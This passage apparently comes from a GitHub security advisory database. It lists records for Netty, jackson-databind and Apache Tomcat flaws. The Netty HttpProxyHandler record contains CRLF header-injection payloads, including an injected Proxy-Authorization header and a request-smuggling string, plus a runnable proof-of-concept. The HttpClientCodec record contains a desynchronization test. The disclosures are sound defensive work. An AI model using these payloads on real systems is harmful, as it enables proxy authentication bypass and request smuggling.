`DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-563Q-J3CM-6JXM
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46
VLAI
Summary
Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature
Details
Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGS_MAX_HEADER_LIST_SIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request
- Proxy the request to the origin
- Attempt to produce a response
- Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.
Credit
Jonathan Looney (Engineering, Netflix)
Contact
Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50560"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:56Z",
"nvd_published_at": "2026-06-12T16:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nNetty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.\n\n### Details\n\nThere is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): \u201cThis advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.\u201d\n\nWhen a client sends that setting to Netty, it appears that Netty will behave as follows:\n\n- Read the request\n- Proxy the request to the origin\n- Attempt to produce a response\n- Create an exception while writing the headers for the response\n\nFunctionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.\n\n## Remediation\n\nWhen speaking with clients, Netty should potentially treat this as \u201cadvisory\u201d and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.\n\n### Impact\n\nThis is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.\n\n## Credit\nJonathan Looney (Engineering, Netflix)\n\n## Contact\nAshley Tolbert (Security, Netflix) - artolbert@netflix.com",
"id": "GHSA-563q-j3cm-6jxm",
"modified": "2026-06-15T20:46:56Z",
"published": "2026-06-15T20:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty has HttpClientCodec response desynchronization
Details
Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Severity
7.3 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-5JMJ-H7XM-6Q6V
Vulnerability from github – Published: 2026-06-23 21:23 – Updated: 2026-07-16 21:25
VLAI
Summary
jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties
Details
Summary
In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.
Impact
An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).
Affected / Patched
Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915.
Upstream fix
FasterXML/jackson-databind#5962 (PR #5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54515"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:23:58Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map \u2014 restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.",
"id": "GHSA-5jmj-h7xm-6q6v",
"modified": "2026-07-16T21:25:45Z",
"published": "2026-06-23T21:23:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5962"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5964"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties"
}
GHSA-5M62-PW8W-7W9F
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-19 14:34
VLAI
Summary
Apache Tomcat - Security constraints not correctly applied
Details
Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.21 Apache Tomcat 10.1.0-M1 to 10.1.54 Apache Tomcat 9.0.0.M1 to 9.0.117 Older, unsupported versions may also be affected
Description: When multiple security constraints defined an HTTP method constraint for the same extension pattern, only the first method constraint was applied.
Mitigation: Users of the affected versions should apply one of the following mitigations: - Upgrade to Apache Tomcat 11.0.22 or later - Upgrade to Apache Tomcat 10.1.55 or later - Upgrade to Apache Tomcat 9.0.118 or later
Severity
9.1 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43515"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:34:00Z",
"nvd_published_at": "2026-05-12T16:16:18Z",
"severity": "CRITICAL"
},
"details": "Versions Affected:\nApache Tomcat 11.0.0-M1 to 11.0.21\nApache Tomcat 10.1.0-M1 to 10.1.54\nApache Tomcat 9.0.0.M1 to 9.0.117\nOlder, unsupported versions may also be affected\n\nDescription:\nWhen multiple security constraints defined an HTTP method constraint for\nthe same extension pattern, only the first method constraint was applied.\n\nMitigation:\nUsers of the affected versions should apply one of the following\nmitigations:\n- Upgrade to Apache Tomcat 11.0.22 or later\n- Upgrade to Apache Tomcat 10.1.55 or later\n- Upgrade to Apache Tomcat 9.0.118 or later",
"id": "GHSA-5m62-pw8w-7w9f",
"modified": "2026-05-19T14:34:00Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43515"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/276087d9c7abbcecc6c4fb4e4b08cf64780c6e36"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/c621317382682206fb58ab92ebd3e1b6fdd10ce9"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/db919ff9912b4d61d1b702a1342b8bde39270031"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/746nxfxod0wsocxtmv8pb8nkgmwpc6bb"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/12/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat - Security constraints not correctly applied"
}
GHSA-5MP6-JRQ3-R938
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:31
VLAI
Summary
Apache Tomcat: LockOutRealm treats user names as case-sensitive
Details
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43513"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:31:54Z",
"nvd_published_at": "2026-05-12T16:16:18Z",
"severity": "HIGH"
},
"details": "Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\nOlder unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.",
"id": "GHSA-5mp6-jrq3-r938",
"modified": "2026-05-18T20:31:54Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43513"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/4a90d3fa93988c447cd5bb7482f76ff70d7f15c2"
},
{
"type": "WEB",
